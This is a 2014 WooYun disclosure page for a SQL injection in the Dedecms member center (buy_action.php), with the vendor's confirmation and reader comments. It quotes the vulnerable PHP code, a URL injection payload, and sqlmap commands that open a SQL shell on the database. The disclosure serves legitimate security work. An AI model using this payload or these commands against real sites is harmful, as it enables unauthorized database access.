当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(47) 关注此漏洞

缺陷编号： WooYun-2014-48806

漏洞标题： Dedecms 会员中心注入漏洞

相关厂商： Dedecms

漏洞作者： Matt认证白帽子

提交时间： 2014-01-14 11:16

公开时间： 2014-04-14 11:17

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 无

6人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-01-14： 细节已通知厂商并且等待厂商处理中
2014-01-14： 厂商已经确认，细节仅向厂商公开
2014-01-17： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-03-10： 细节向核心白帽子及相关领域专家公开
2014-03-20： 细节向普通白帽子公开
2014-03-30： 细节向实习白帽子公开
2014-04-14： 细节向公众公开

简要描述：

Dedecms 会员中心注入漏洞

详细说明：

code 区域
member/buy_action.php


require_once(dirname(__FILE__)."/config.php");


CheckRank(0,0);


$menutype = 'mydede';


$menutype_son = 'op';


require_once DEDEINC.'/dedetemplate.class.php';





$product = isset($product) ? trim($product) : '';


$mid = $cfg_ml->M_ID;


$ptype = '';


$pname = '';


$price = '';


$mtime = time();





if(isset($pd_encode) && isset($pd_verify) && md5





("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)


{





    parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);


    foreach($mch_Post as $k => $v) $$k = $v;


    $row  = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE 





mid='$mid' And sta=0 AND product='$product'");


    if(!isset($row['buyid']))


    {


        ShowMsg("请不要重复提交表单!", 'javascript:;');


        exit();


    }


    if(!isset($paytype))


    {


        ShowMsg("请选择支付方式!", 'javascript:;');


        exit(); 


    }


    $buyid = $row['buyid'];





}else{


     


    $buyid = 'M'.$mid.'T'.$mtime.'RN'.mt_rand(100,999);


    //删除用户旧的未付款的同类记录


    if(!empty($product))    


    {


        $dsql->ExecuteNoneQuery("Delete From #@__member_operation WHERE 





mid='$mid' And sta=0 And product='$product'");//注入点


    }

漏洞证明：

利用方式 注册用户之后登陆

打开**.**.**.**/dede/member/buy_action.php?product=1' and @`'` and



1=1* and '1'='1

先利用burp抓一下访问包

然后将抓到的内容保存

然后利用sqlmap进行注入 执行如下命令

sqlmap.py -r c:\1.txt --sql-shell --threads=10 --dbms mysql

其中的1.txt就是我们保存的包文件

burp.png



QQ截图20140113213429.png

修复方案：

过滤

版权声明：转载请注明来源 Matt@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2014-01-14 14:01

厂商回复：

已修复，感谢提交

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-01-14 11:18 | 马丁 ( 路人 | Rank:28 漏洞数:24 | 大爷~给口饭吧。)
    0

    默默的点了关注

    1# 回复此人
  2. 2014-01-14 11:47 | 漫步云端 ( 普通白帽子 | Rank:216 漏洞数:39 | Ramble!)
    0

    又见dede

    2# 回复此人
  3. 2014-01-14 15:25 | 洗剪吹 ( 路人 | Rank:1 漏洞数:1 | 出门在外，安全第一！)
    0

    擦 还有洞啊。。。

    3# 回复此人
  4. 2014-01-14 18:17 | Sunshie ( 实习白帽子 | Rank:81 漏洞数:25 | http://phpinfo.meฏ๎๎๎๎๎๎๎๎๎๎...)
    1

    http://phpinfo.me/2014/01/14/199.html

    4# 回复此人
  5. 2014-01-14 18:30 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)
    0

    dede终于来确认漏洞了

    5# 回复此人
  6. 2014-02-20 15:40 | 乌云 ( 实习白帽子 | Rank:66 漏洞数:14 | a)
    0

    请问这是哪个版本的CMS?可否打包一份给我，我想来学习下？

    6# 回复此人

登录后才能发表评论，请先 登录 。